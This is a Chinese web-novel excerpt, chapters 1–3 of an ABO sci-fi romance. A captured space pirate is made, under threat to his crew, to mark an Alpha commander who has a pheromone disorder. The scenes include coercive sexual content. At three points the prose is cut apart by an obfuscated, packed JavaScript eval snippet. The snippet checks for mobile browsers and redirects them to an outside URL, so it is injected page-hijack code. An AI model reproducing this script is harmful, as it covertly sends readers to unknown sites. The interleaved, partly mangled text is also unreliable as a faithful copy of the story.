《阶下囚,但标记了顶A指挥官》 1. 紊乱症 砰! 戚应物重重摔倒在地,污血顺着额角往下淌。 那股将他掀翻的无形之力,狠狠按住他的胸膛、手腕与脚踝,让他根本无法动弹。 他粗喘着,透过漫天飞舞的黄沙,看到同伴沃尔夫也倒在砂砾之上。 饶是沃尔夫力气惊人、身为Beta也有着堪比Alpha的体力和精神力,同样被那股力量完全压制,全身只剩下嘴巴还能动,正在不屈不挠地破口大骂。 就在沃尔夫身后不远处,便是他们的小型飞行器。 只差一点点了…… 只差一点点,就能冲进飞行器,离开这个营地…… 隔着糊在眼睛上的血水,戚应物望着自己的飞行器,心里是满满当当的惊诧。 他此前计算好了:电磁脉冲足以干扰整片营地的设备,时间可持续一分钟。 这一分钟里,借助沃尔夫的B级精神力屏障,两人便能避开士兵、带着这次的“战利品”,毫发无伤地溜进伪装后的飞行器。 这之后,就是鱼跃入海飞鸟投林,没有人能抓住他们。 这样的套路,他们此前用过无数次。 可他没想到,在这偏远的补给星,在这不起眼的临时营地里,居然有人能释放出这么强大的精神力,在一瞬间将他和沃尔夫彻底控制住。 这样的精神力,至少是A级,或者更高? ……难道,难道是“那个人”?! “那个人”,竟然没有留在星舰上,而是来到了此处的营地? 想到此处,戚应物瞳孔微缩,呼吸越发急促起来。 在一片嘈杂与混乱中,戚应物比常人更敏锐的耳朵,听见了“咔嚓,咔嚓”的声音。 是硬底军靴一下下碾压过砂砾的声音。 声音越发近了。 纯黑色泛着微光的长筒军靴,停在了戚应物身边。 再准确一点,停在了他的脑袋旁。 戚应物下意识眯了眯眼,迎着昏黄的天光,透过飞扬的尘土,沿着军靴往上望去—— 正正撞上一双乌沉的眼睛。 黑漆漆的,不带情绪与色彩的冰冷眼睛。 戚应物认出来了。 是他。 帝国军皇家第三军团的指挥官,承袭公爵之位的顶级Alpha,近年来接连被王室授勋、就连偏远的四等星都知道其声名的“那个人”—— 顾礼然。 认出这个人的一瞬间,戚应物只觉得头皮开炸一般,胸前的伤口更是开始幻痛。 他喘着气,颈部的青筋不住跳动,手指已不自觉地抠进砂土中。 下一秒,一方冰凉冷硬的利器,探到戚应物的颈项上,贴住他勃勃跳动的筋脉。 不用看,戚应物也知道,这是“寂灭之剑”的剑身。 那柄黑晶铸炼而成、能被顾礼然的精神力所驱使的剑。 这柄剑,自己曾经望着顾礼然手持它单膝跪地,听着顾礼然言之凿凿:“臣将誓死守卫王子殿下。” 同样是这柄剑,在十二年前,毫不留情地刺向自己的胸膛。 十二年后,这是要割开自己的喉咙,完成它当年未竟的事业了? 思及此处,戚应物的嘴角一咧,竟是挤出一个古怪的笑容来。 剑身下压,传来的力度又大了些。 剑刃并未割破戚应物的喉咙,却将他的血管与皮肤都压得向下微微凹进一块。 只要剑刃再转动那么半毫…… 这荒僻的补给星就会多出一具狼狈的无名尸体。 戚应物的心脏剧烈跳动着,双眼依然和顾礼然直直对视,不曾挪开半分。 “有些胆量。”顾礼然开口了。 这人的语气,和他手里的剑一样冷,一样硬。 顾礼然瞥了一眼前方那破破烂烂的小型飞行器,不带情感地又评价一句:“有勇无谋的宵小之徒。” 此时,已经被两个Beta卫兵戴上拘束装置的沃尔夫,脸朝下埋在黄沙里,闷声闷气地继续骂着:“是不如你们有谋!你们这狗屎不如的帝国军,为了抢晶石,打着驱逐异种的名义,把我们的家园烧成白地!你们倒是有勇有谋——” 沃尔夫的骂声被打断了。 他被士兵塞住了嘴,还被狠踹一脚:“放屁!” 一直没什么表情的顾礼然,在听到沃尔夫的骂声后,刀刃般的薄眼皮轻颤一下。 这一点细微的变化,却是被戚应物给捕捉住了。 戚应物冷笑道:“怎么,向来心狠手辣的顾将军,居然也会心虚?这是敢做不敢当吗?” 顾礼然没有回应戚应物的挑衅之语。 他居高临下地望着戚应物,视线扫过对方污脏的面颊与颤动的喉结,似是在思考着什么。 数秒后,顾礼然挪开了剑刃。 他收起寂灭之剑,对跟在一旁的副官低声道: “带走,要活的。“ “不要留痕,不要送去军部。” * 两日后。 军团星舰完成跃迁,停靠在了距离首都星最近的太空港。 戚应物和沃尔夫,从星舰上的囚室被押送到了巡航舰的囚室,又从巡航舰的囚室转到了低空飞行器里的禁闭室。 飞行器穿进大气层,从万米高空徐徐向下。 引擎轰鸣声中,飞行器猛然震动两下,接着便是减速、滑行。 待飞行器完全停稳之后,两名全副武装的士兵从外面打开禁闭室的舱门,押着戚应物和沃尔夫下了舷梯。 尽管两人的手脚都被锁住,但士兵们并没有做额外的限制措施,也没有禁止两人交谈。 今天也是如此。 士兵们只是沉默地示意:跟我们走。 沃尔夫跟在戚应物身边,大大咧咧地张望着。 灰色的停机坪、数架大小不一的飞行器、蜂鸣不断的橙色无人车、悬停在飞行器外的机械臂、矗立入云的银色塔台…… 他用肩膀撞了下戚应物:“真够气派的——不愧是军部的专用机场!” 戚应物看向各色飞行器上涂装的标识,缓缓摇头: “这不是军部。” “是顾礼然私人领地的机场。” 飞行器也好,候机楼也好,都带着顾氏的独特家徽。 沃尔夫不禁“嘶”了一声,愕然道:“好大的做派!” 他四下看了看,不解道:“为什么把我们送到顾礼然的地盘上?不应该送去军部吗?” 被帝国军抓住的星盗,不都是送去军部受审吗? 戚应物没应声,沉默地跟着卫兵往前走。 沃尔夫又想了下,嗤笑道:“我知道了。” “顾礼然一定是怕我们把他干的丑事都抖出来,所以不敢让我们去军部!” “当真是又狡猾又无耻!” * 同一时刻。 顾礼然正身姿笔挺地站在谒见室里,向帝国皇帝当面汇报本次的征伐结果。 他手臂利落一挥,身旁即刻亮起一副全息投影,正是远征团最后剿灭异种首领的影像记录。 看着影像里不停闪动的光点,皇帝频频颔首,毫不掩饰自己的赞扬之意:“好,好!一贯的干净利落!” 尽管顾礼然麾下军团名为“皇家第三军团”,但现在帝国王室是“统而不治”,皇帝不能直接干预军部的决策。所以这样的军情汇报,只是一种礼仪一种传统,并不需要耗费太多的时间,也不需要呈现太多的细节。 更何况,“顾将军带领军团一举攻破Z906区域外的异种巢穴”“Z813-906号区域的异种已被尽数歼灭”的消息,早已传回了首都星。 很快,顾礼然完成汇报,离开谒见室,沿着金碧辉煌的长廊大步离开皇宫。 这座宫殿特意采用了古地球风格,将所有的监控器与调节仪都隐藏在了繁复华丽的装饰层里。哪怕是带有自动识别与瞬时锁定系统的地板,也故意伪装成了白色带金纹的大理石。 在这绝对安全、人力根本无法入侵的领域里,身着禁卫制服的卫兵,遵照传统,日复一日地巡逻防卫,展示着帝国王室的威严。 顾礼然的脚步比往常还要更快些。军靴一次次叩在地板上,声音铿锵急促。 一路上,除开向他以标准军礼致敬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396559|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫兵们,不时有几位前来谒见的官员停下脚步,向他行礼。 这些人中,有一位身量高挑的Beta,极力向前凑了几步,讪笑着道:“哥!” 顾礼然脚步未停,甚至连速度都没有慢下来,只稍稍挪开视线,看向了这名Beta—— 是顾仪轩,他同父异母的弟弟。 顾仪轩急匆匆跟在顾礼然身边,边走边道: “哥,爸知道你回来了,想和你一起吃个饭,看你哪天时间方便……” 顾礼然没说话。 顾仪轩继续道:“还、还有,上次你生病的事,爸也挺担心的——他特别关心你……” 顾礼然依然一言未发,唯有眉峰微微攒起。 他身旁的副官谢岭,一看这情形,马上客气应道:“顾少尉,我这边会查一下将军近期的日程,再和您对接。” 顾仪轩有些尴尬地扯动嘴角:“也好,也好……” 顾礼然不再看这人一眼,径直往前走去。 * 悬浮车里。 顾礼然闭目坐着,眉宇间是罕见的疲惫。 他一向挺得笔直的腰背,如今竟有些松懈地靠在并不算柔软的椅背里。 从站在谒见室开始,他已觉得有些不对了。 体温逐渐升高,一向合身的军服突然磨得皮肤发痛,脑后一阵一阵的钝痛,甚至连思绪都有些受阻。 这感受,就和半年前那次突如其来的急病一样。 恰在这时,光传导耳机里响起预警音:【信息素状态极不稳定,建议尽快就医,尽快就医】 顾礼然微微抬眼,看向光脑里跳出的信息素监控数值—— 急剧下降。 这比数值飙升更可怕。 顾礼然再次阖眼,抬手捏着眉心,嘱咐副官道: “落地后,先安排江医生过来。” “审问星盗的事,往后排。” * 四小时后。 顾礼然看着江医生的报告,眉头拧在了一起。 江奇,这位和顾礼然从幼儿园就认识的Beta,尴尬地搓着手:“呃,要不要我再解释一下?里面的术语可能有点难懂……” 顾礼然沉默几秒,缓缓道:“我看懂了。” “你是说,半年前那场病,还有现在这些征兆,都是‘分化紊乱症’的表现。” 江奇:“对……” “哎这个病的发病率只有千万分之一我没想到你居然会得这个病哎你说这闹得……” 顾礼然:“……” “这个紊乱症,和我母亲当年的‘二次分化’,一样吗?” 提到顾礼然的母亲,江奇的态度变得格外慎重:“不一样。二次分化是不可逆的生理现象,无需治疗也不可能治疗。” “但‘紊乱症’是一种疾病。患者会发热、疲惫、身体不适,同时短暂地表现出其他性别的一些特征,并不会导致分化。” 顾礼然垂头看着报告上的“治疗方案”,视线定在字里行间。 江奇再次搓着手,小声道:“这个必须得治啊。” “如果不治,症状只会比半年前更严重,发病也会更频繁。到时候别说去前线打仗了,你恐怕连床都起不来。” 顾礼然合上报告:“治。” “按你的方案,需要找一位信息素匹配的Alpha,在差不多一年的时间里,持续地齩我的線体,用他的信息素对我进行矫正。” 江奇愣了一下。 他望着面色阴沉的顾礼然,拿出自己身为医者的勇气和身为多年好友的良心,纠正着:“你说的那个是临时标记。” “临时标记只能缓解,不能根治。” “要根治,得进行‘完全标记’。” “而完全标记,虽然不像终生标记那样需要成结,但也意味着……意味着……” 江奇的喉咙动了动,实在没敢把话说完。 房间里安静得落针可闻。 片刻后,顾礼然终于开口了。 他一字一句道:“也就是说……” “我得找个Alpha,来淦..我?” 2. 匹配度 次日清晨。 注射了江奇开给他的最高浓度抑制剂后,顾礼然自觉身体恢复不少,又开始了工作。 他坐在办公桌前,扫着一行行滚动的资料。 光幕上跳过两名星盗的年龄,生平,家族关系…… 表面上,那个叫戚应物的是一艘小型运输飞船的老板,和他的搭档沃尔夫,日常在边远港口借些小生意。 但如果调出他们飞船主脑上的数据,就能看见这两名星盗头目,带着一群盗匪犯下的桩桩罪行—— 打劫商船、洗劫采矿基地、倒卖晶石,等等。 扫过大半资料后,顾礼然关掉光幕,捏了捏眉心。 一旁的谢岭忙道:“顾将军,要不还是按照江医生的叮嘱,再多休息一天?” 顾礼然:“不必。” 谢副官跟着顾礼然许多年了,深知将军的脾性是什么样的,也不好多劝,只能换个话题,试图通过闲聊让将军多休息片刻: “说起来,这伙星盗真是失心疯了,竟然敢打皇家军团的主意!” “他们难道不知道,但凡对皇家军团动武的,都能就地正法吗!” “真是目无法纪的亡命之徒!” 顾礼然不置可否地“嗯”了一声,再次开启光脑,换成投影模式,点开了一个刚刚破解出来的视频文件。 文件的画面质量很糟糕,像是慌乱之间用最低端的民用设备仓促录下的。 看着看着,顾礼然的瞳孔骤然紧缩,谢副官则是倒吸了一口凉气—— 画面里,远征军团的专用无人机,正在从空中投放□□。 但它们投放的领域,可不是异种的巢穴。 被烈火焚烧吞噬的,一望而知,是一个五等星上的人类聚落。 长屋矮楼,仓房田舍,纷纷化为灰烬。 尽管画面里没有人,却能听见画外有人在痛哭、在哀嚎。 这是什么情况?! 谢副官咽了口唾沫,艰难地吐出几个字:“这……是不是……某次无人机演习?” 就跟回应他的话一样,画面一闪镜头一转,几台无人机甲正在废墟里疾驰。 这类救援机甲,是第三军团为了在高危环境里抢救受困人员而设计的,速度极快、机械臂非常灵活。 然而,这一次,这些顶着顾氏纹章的机甲,它们的机械臂所护住的不是被困的平民,而是闪着暗光的、纯度极高的能量晶石。 它们的目的地,也不是任何地面庇护所,而是军团专用的运输机。 任何的演习里都不可能做出这样的安排。 画面外,一个苍老的声音在绝望大喊:“晶石!我们的晶石!它抢走了我们的晶石!” 视频结束了。 顾礼然的下颌线已然绷紧,眼眸更是乌黑冷沉。 他又看了一遍视频,以及光脑给出的分析结论:【视频拍摄于6个月前。未发现造假痕迹。】 顾礼然左手搁在桌面上,略略抬起食指,指尖叩动两下。 他站起身,嗓音寒冰一般:“暂缓审讯。安排悬浮车。” * 首都星,一处贵族庄园。 顾仪轩正坐在阳台上,慵懒地用着早午餐。 他身边坐着一位娇小可爱的Omega,肤白唇红,正用一柄小巧的果酱刀细细涂抹着覆盆子酱。 顾仪轩端起咖啡喝了一口,瞥着阳台下花草繁茂的美景,又看向眼前的美人,只觉身心惬意悠游自得。 再回忆起昨晚床上的种种,他更觉浑身畅快。 自己不是Alpha又怎样? 不还是能操到最稀罕最漂亮的Omega么? 不还是能堆金积玉,尽享富贵么? 不但如此,自己还不用像顾礼然那个傻缺一样,天天砍杀异种以至于人都变态了…… 正想着呢,一旁的光脑猛然响起,传来守卫惊慌的声音:“顾少尉,是顾将军的飞行器——啊,飞行器直接降落在园子里了!” ……顾礼然? 他怎么来了?昨天明明还是一副高高在上的冷傲模样,今天怎么突然找上门了? 惊恐之间,只见一队身着制服的卫兵已闯进阳台,对着Omega做出一个“请回避”的姿势。 Omega有些瑟缩地看向顾仪轩,顾仪轩却根本分不出心思去安抚对方,满心都是:大哥这是要做什么? 转眼间,Omega被带走了。 顾仪轩还没想好用什么表情面对这位大哥,猝不及防之际,已被一股重拳般的精神力击中面部,整个人飞了出去,如沙包一般直直撞到阳台围栏上。 杯盘碎裂之声,佣人的惊恐呼喝之声,彻底打破了这个阳台惯有的宁静。 喧哗惶恐中,顾礼然大步流星地踏入了阳台。 佣人们不敢叫,不敢动,僵直地站在原地,眼睁睁地看着这气势凌人的Alpha一步步走向顾仪轩。 顾仪轩冷汗淋淋,一边下意识要找地方爬着躲起来,一边带着哭腔地喊着:“哥,哥,就算弟弟做错了什么,你也不该动手啊!” 顾礼然面上纹丝不动,声音的寒意则让人闻之生畏:“半年前,趁着我生病,你主动要求去边境巡逻——你干了些什么?!” 顾仪轩心脏一缩,心道:完了!他都知道了!自己明明替换了所有记录,他是怎么知道的?! 饶是如此,顾仪轩嘴上是不会认的。 他一面可怜巴巴地往角落里缩,一边眼泪鼻涕地喊着:“什么?我、我不就是,不就是正常地砍了几个异种……” 顾礼然朝他肩膀又是重重一脚:“还敢狡辩!” “你两个月前匿名卖掉的晶石,究竟是哪里来的!” “无人机和救援机甲的原始记录,为什么会被抹掉!” 顾仪轩惨叫几声,知道这次是绝对糊弄不过去了。 又痛又恼之下,他也装不下去了,索性尖啸起来:“我干了什么?!我不就提前把那个穷得要死的地方给烧了吗!” “那种又穷又破的五等星,反正面对异种也毫无胜算,我们何苦费时费力去救啊!” “干脆直接烧了,异种不就不要这个星球了吗!” 他按着自己被踩裂了的肩膀,咻咻喘着气,对着顾礼然继续喊: “顾礼然,你这个傻缺,你以为大家都跟你一样,肯把那么好的装备,那么多的金钱,都砸在那些地方?!” “那种五等星,就算真的救下来,对我们顾家有什么好——” 啪! 话未说完,一记耳光招呼在顾仪轩脸上,震得他眼前金星一片,口鼻鲜血直冒,耳朵更是嗡嗡作响什么都听不清了。 顾礼然睨着这不成样子的Beta,眼眸带着狠戾:“你敢跟我提‘顾家’?” 顾仪轩完全听不清他的话,只本能地蜷缩着,哭泣着。 顾礼然转过身,将自己沾到血渍的手套摘下来,接过副官递过来的手帕擦着手指,对卫兵道:“顾仪轩,涉嫌严重违背军纪,送去军部监察处接受审查。” * 当日下午。 顾礼然坐在起居室的沙发上,头微微垂着,指关节死死抵着太阳穴。 即使他的手指已用力到发白,也缓解不了头部近乎钻心蚀骨般的疼痛。 按照这个趋势,即使再强力的抑制剂也会失去作用。 他不得不再次卧病。 一旦卧病…… 自打把顾仪轩送去监察处开始,仅仅是这三个小时里,顾维山——他那生物学上的父亲已经打了二十通电话了。 顾礼然自然知道对方想要什么。 他甚至能猜到,顾仪轩做这些事,背后多半就是顾维山的授意。 一旦自己真的病倒,这位名义上的“顾家人”,还有那些心怀叵测暗中窥探之人,究竟还会做出些什么事,实在是防不胜防。 顾礼然低低叹息一声,终于认命般接通江奇的电话:“信息素匹配的人,找到了吗?” 江奇在那边先是愣了一下,随后欣喜万分: “哎呀呀呀我的将军大人你终于想通了!” “就跟你说了不能靠抑制剂死撑啊!” “正巧,我这边比对了中央主脑里全部有记载的Alpha信息素,终于找到一个匹配度90%以上的!” 江奇一边叨叨,一边将资料发给了顾礼然。 顾礼然面无表情地打开了资料。 光幕上,一张干净而不失锐利的脸。明明有着锋利的眉骨与挺直的鼻梁,本该是一个极富攻击力的长相,却偏偏有一双温和灵动,仿佛金毛犬一般的浅褐色眼睛。 就是这双眼睛,就是这双本应该在阳光下带着微笑的眼睛,在四天前,含着愤怒,藏着不甘,带着讥讽,死死地瞪着自己。 顾礼然怔住了。 良久,他才开口道:“有没有其他人?” 江奇:“你又不是不知道自己是顶级A本身就很难匹配何况这次还是要和另一个A来匹配——” 顾礼然:“有没有?” 江奇:“……没有。其他人最高匹配度就只有5%,效果还不如抑制剂。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396560|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我跟你说这就是上天垂怜才能遇到的匹配度了!唯一的问题就是对方生活在四等星,离首都星有点远,看看得怎么把人弄过来……” 半响,顾礼然缓缓道:“这一点,倒是不成问题。” * 傍晚。 在单人囚室里躺了整整一天的戚应物,终于等来了前来提审的人。 出乎意料的,竟然是顾礼然身边那个跟前跟后的副官亲自提审。 这规格未免有点太高了?戚应物暗自思忖着。 更出乎意料的,是这位副官所说的话。 对方语音里藏着些难以察觉的敌意,一字一句道:“顾将军吩咐你做一件事。” 哦? 原本已经站起身的戚应物,索性一屁股坐回床上,两手交抱着,半笑不笑地应着:“我又不是顾礼然的部下,我凭什么要按他的吩咐做?” 副官冷哼一声,走近几步,声音里的敌意越发明显: “顾将军让我转告你,‘对皇家军团动武,视同叛乱’。” “‘清剿叛乱者,不需审判,不需理由,只需要名单’。” “你要是希望同党都被列入名单,大可以不按吩咐做。” 戚应物的脸霎时就白了。 他站起来,低声骂了句:“操!” 这不过是个语气词,却不知触动了副官的哪根神经,惹得这人怒声道:“说什么呢?嘴给我放干净点!” * 一开始,戚应物完全猜不出来,顾礼然身为堂堂少将,需要自己这个星盗为他做什么。 刺探情报?暗杀政敌?总不至于还想着能策反自己去卧底吧。 眼前这个副官显然也没有要解释的意思。 从监舍走出去一大截,副官竟带着自己走进了一片花园。 这处花园的植被比别处更为茂密,宛如一片纯天然的山林。摇曳的树影下,甚至还有溪流从其间蜿蜒而过。 树影深处,由荆棘和蔷薇缠绕而成的篱笆之后,隐约能看见一座米白色小阁楼。 ……这? 什么样的审讯要选在这种地方进行? 戚应物脑海里突然蹦出个让他冷汗淋淋的念头: 传闻里,有些高官贵族,在那方面有着颇为特殊的癖好。比如,就喜欢折磨Alpha。 难道顾礼然要让自己……? 不,不可能。 就算顾礼然再怎么心狠手辣,也不应该堕落至此。 然而,当副官将他领进小阁楼,示意他去浴室洗澡更衣,再丢给他一副眼罩后,戚应物的心渐渐沉到了谷底。 这套“准备工作”意味着什么,不言自明。 戚应物咬着牙,草草冲洗干净,套上了白色的浴袍。 最后是那幅带生物识别锁、自己只能戴上无法摘下的眼罩。 周围的一切都被遮挡住了。 他沉默地走出浴室,听见副官道:“直行,往前,推门进去。” 接着,这人近乎是恨恨地补了一句:“别忘了将军的嘱咐!” 戚应物并不搭理这莫名发疯的副官,在心里不断地告诉自己“忍一下就好忍一下就好”“就当是被狗咬被狗咬”,麻木地往前迈步。 门被推开了。 一股清冷的,却又带着暗香的味道,扑面而来。 冷冽,清甜。 仿佛在雪夜里,独自在枝头高傲绽放的檀香梅。 这是……信息素? Omega的信息素? 戚应物从未感受过如此强烈,如此让他心神荡漾的信息素。 这一刹那,他甚至连自己在哪里,自己要做什么,都全然不记得了。 短暂的晕眩后,他听见有人赤脚走了过来。 随着对方的靠近,香味愈发的浓烈。 被香味点燃的本能,在戚应物的血管里奔腾咆哮,在他周身上下勾起了难耐欲..念。 他所有的、身为一个人所残存的理智,在顽强地对抗着本能,在艰难地声张着:不行,不可以就这么标记一个素未谋面的Omega…… 对方走到了他面前。 Omega伸出手,捏住了戚应物的下巴。 戚应物倏然睁大双眼——眼前自然还是一片黑暗。 黑暗中,他听见了对方的声音。 是用变声器修饰过的声音。平平整整,听不出任何语气。 但这并不妨碍戚应物的脑海里瞬时炸成一片,炸得理智灰飞烟灭片甲不留。 对方说: “标记我。” 3. 信物? 身为一个Alpha,戚应物自然幻想过,自己会遇到一个怎样的Omega,以及遇到之后,可以发展一段多么美好的,恒久的恋情。 两人或许是在街角偶遇,或许是在转身时不小心相撞。 对方或许高,或许矮,但一定脾气温和,笑起来时微微垂下眼帘,脸上泛着薄薄的红晕。 自己会用心地烹制对方喜欢的食物,再围着炉火坐下,看着对方吃得心满意足的模样。 自己会小心翼翼地牵起对方的手,一起看流星,看瀑布,看雨林…… 某一天,在星空之下,两人有些羞涩地拥吻。 水到渠成之时,两人的信息素逐渐相融…… 当然了,在标记对方时,要百般温柔小心呵护,绝不能莽撞行事,伤害到本就身娇体弱的Omega。 所以,戚应物怎么都没有想到,这第一次的完全标记,会是这么一个状况。 在黑暗与惊诧里,他被带到牀前,听到对方的要求:仰面躺下。 他陷在柔滑的牀单里,呼吸越发的急。 紧接着,他能感受到…… 对方背对着自己,试图独自开启一场艰难的运动。 尽管对方命令他不得出声更不得行动,他还是极力想要阻止——“你这样会受伤的!” 对方置若罔闻,自顾自地开始了。 香气浓郁到让人无法思考。 对方竟还能分出心思,在戚应物想要为他减轻些许负担时,低喝一声“别动。” 戚应物只能一动不动。 直至箭在弦上不得不发。 终于被允许坐起来的戚应物,迫不及待地齩住对方的颈项。 犬齿刺丨破皮肤,信息素如被放出囚笼的猛兽般,肆意妄为,在所至之处留下自己的印记。 一瞬间,Omega的喉头绽出低低的气音。 仿佛被鼓励到了的戚应物,忘乎所以地加重力度。 他隐隐约约记得,对方仿佛说了好几次“够了”。 可在那个时刻,戚应物根本无法识别出这两个字的含义。 沉在基因里的猎食者本能,决定了他不可能放过被擒住的猎物。 直到整个房间都充盈着Alpha的信息素。 直到Omega无法再命令他。 * 朦朦胧胧间,戚应物的理智渐渐回笼。 同一时刻,Omega掰开戚应物箍住他的手臂,起身,下牀。 戚应物这下顿时清醒不少。 他立时坐起,喊道:“等等!” 尽管目不能视,但极度敏锐的听觉告诉他,Omega从地上捡起衣袍套上,匆匆走向了门口。 戚应物再次道:“等等,你现在——” 对方打断了他:“闭嘴。” 即使有着变声器的修饰,即使这句话被抹去了所有的语调起伏,也不难猜出对方的心情并不愉悦。 对方赤着脚往外走去,只丢下一句话:“会有人送你走。” 之后,便是沉重的木门响动声。 这神秘的Omega,就这么离开了。 戚应物坐在牀上,扯着被单,愣愣地想:我……我好像在提供什么特殊服务? * “信息素稳定了!矫正果然有用!”江奇一边鼓捣着数据,一边兴奋地宣布着。 顾礼然沉着一张脸,将卷到肘部方便采血的袖子重新放下来。 “对了,这个给你。”江奇掏出一小筒药膏递给顾礼然,“消炎止痛,缓解不适。” 缓解不适? 顾礼然的脸色更差了。 自己的不适,岂是这样一剂药膏能够缓解的。 说实话,顾礼然不知道是哪个环节让自己更不适。 是自己明明身为Alpha,却因为那种行为有了反應? 还是那只属狗的Alpha,到后来就完全不听指挥,啃个没完没了? 又或者…… 是自己站到地毯上的一瞬间,那种洂体沿着月退往下淌落的羞耻感?! 总之,糟透了。 好在治疗总算是有效的。 现在头不痛了,烧也退了,思路也清明了。 江奇又道:“记住,24小时内不能再用抑制剂,否则会干扰治疗的效果。” 顾礼然应了声“好”,又问道:“对方注入的信息素,确定不会残留味道?即使对方站在我面前,也闻不出来?” 这属狗的崽子,齩得太深,在線体周围留下一整圈消不去的牙印不说,往里潅信息素的时候更是一副穷凶极恶倾囊而出的模样。 还有,这家伙身为Alpha,标记的时候也如狼似狗的凶悍至极,怎么偏偏信息素一股甜味? 甚至是那种幼稚至极的糖果的甜味。 准确的说,是带着海盐味道的太妃糖。 糟糕透顶的味道。 江奇忙道:“不会的。” “你又不是真的变成Omega,不可能带上其他Alpha的味道。” 顾礼然漠然说了声“那就好”,顺手用光脑接通谢副官:“提审那两名星盗,现在。” * “小戚,你眼睛怎么这么红?是不是没睡好?他们是不是折磨你了?” 被分别关押两天后,戚应物终于和沃尔夫再次碰面了。 一见面,沃尔夫便盯着戚应物的脸,紧张兮兮地发问。 戚应物尴尬地摇摇头:“没有,眼睛可能有点过敏。你呢?这两天怎么样?” 沃尔夫无所谓地大笑起来:“我?我自然是吃得好睡得香了!你别说,这囚室的条件,比我们那里的旅馆都要好了!” 正笑着,审讯室的门开了。 顾礼然,由他的副官陪着,大步走了进来。 这人今天并未穿制式军服,改穿一件遮住颈部的黑色高领衫,配着浅灰色的笔挺长裤。 同军服相比,这身常服看着要平和许多,天然地少了些压迫感。 然而,顾礼然身上那久居高位所养出来的凌厉气势,并不因此而消减分毫。 他坐到两人对面,先淡然地扫过了还在嘻嘻哈哈的沃尔。 说来也怪,沃尔夫本是个天不怕地不怕的莽汉性格,但被顾礼然这么一瞥,方才那收都收不住的笑容,就这么凝在了脸上。 这身强体健的Beta甚至下意识坐直身体,活像一个上课说话被逮住的小学生。 顾礼然挪开视线,那双乌沉如渊的眼睛对上戚应物的浅褐色眼睛,不带感情地开口了。 他一开口,便是一连串的地点,时间,和金额。 一桩桩一件件,全是戚应物他们带着人犯下的事。 他的语速不快,可语调里隐藏的压迫感,让人如坐针毡。 不过两分钟,沃尔夫已听得后背冒汗,下意识侧头看了看一旁的小戚。 只见戚应物端端正正地坐着,无所畏惧地回望着顾礼然。 好小子!一点儿没有被对方的气势给压住!沃尔夫在心中暗自赞叹,不禁把刚刚有些往下塌的背又挺直了些。 顾礼然说完之后,停顿几秒,食指指尖在漆黑的桌面上轻敲两下,像是特意留出了供听者思考的时间。 片刻后,他才继续道: “即使不考虑偷袭军队这件事,你们也面临着长达180年的监禁。” “你们有什么要解释的吗?” 戚应物眉毛挑了挑:“解释?” “我们不过是拿回本就属于我们自己的东西罢了。” 说到这里,他的目光陡然锐利起来,逼视着对面的人: “‘无论政府或者王室,一旦其侵害人民的权利,对其反抗,就是人民最神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396561|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣的权利和义务’,不是吗?” “《帝国宪法》第五十三条,不是这样写的吗?” “顾将军自己,对这条应该比任何人都熟悉吧!” 这话说完,谢副官的额头绽出青筋,咬牙道:“强词夺理!你这样的区区盗匪,也配提——” 顾礼然左手略略一抬,制止了愤怒的副官。 他沉声道:“因此,你主张,你们是被侵害的一方。” 此时的沃尔夫终于找回了自己的嗓子。 他大喊道:“对!没错!要不是被逼得活不下去了,我们又怎么会来干这个!” 顾礼然从副官手里接过一个黑色的计时器。 他将计时器放到桌沿:“给你们一分钟时间,解释你们都怎么被侵害了,为什么不采取别的救济方式。” 说罢,他按下了计时开关。 戚应物和沃尔夫完全没有想到顾礼然会这么操作,一时间两人都又急又慌,觉得有无数的话要说,却理不清从哪里开始说合适。 直到还剩下三十秒时,戚应物才算找到脉络,但也说得不甚流畅。 在他终于想清楚思路时,计时器“叮”的一声,宣告了一分钟的终结。 “这——!”沃尔夫面部涨得通红,急吼吼得想嚎叫这时间哪里够,却在对上顾礼然那寒潭般的眼睛时,霎时没了气势,缩着脖子不敢再嚷。 顾礼然缓缓道: “我听明白了。” “今天就到这里。” 等在审讯室外的卫兵当即就要押着戚应物两人离开。 不料,戚应物站起身后,直直对着顾礼然道:“我还有另外一件事。” 顾礼然这次眉头微动:“嗯?” 戚应物咬了下嘴唇:“和昨天相关的事。” 顾礼然没立即应声,谢岭先道:“你还有什么事?” 戚应物不说话了,一副“我才不会告诉你”的模样。 顾礼然一边想着这人可真是幼稚,一边对其他人道:“你们先出去。” 谢岭一惊,忙道:“可这家伙又无礼又无耻,让他单独留在这里——” 顾礼然闲闲道:“他还能在我面前翻出什么花样?” 谢岭无奈,狠狠剜了戚应物一眼,出去了。 审讯里只剩下顾礼然和戚应物两人。 顾礼然站在桌子前,单手撑着桌面:“什么事。” 戚应物瘪着嘴,抬手亮出个小东西。 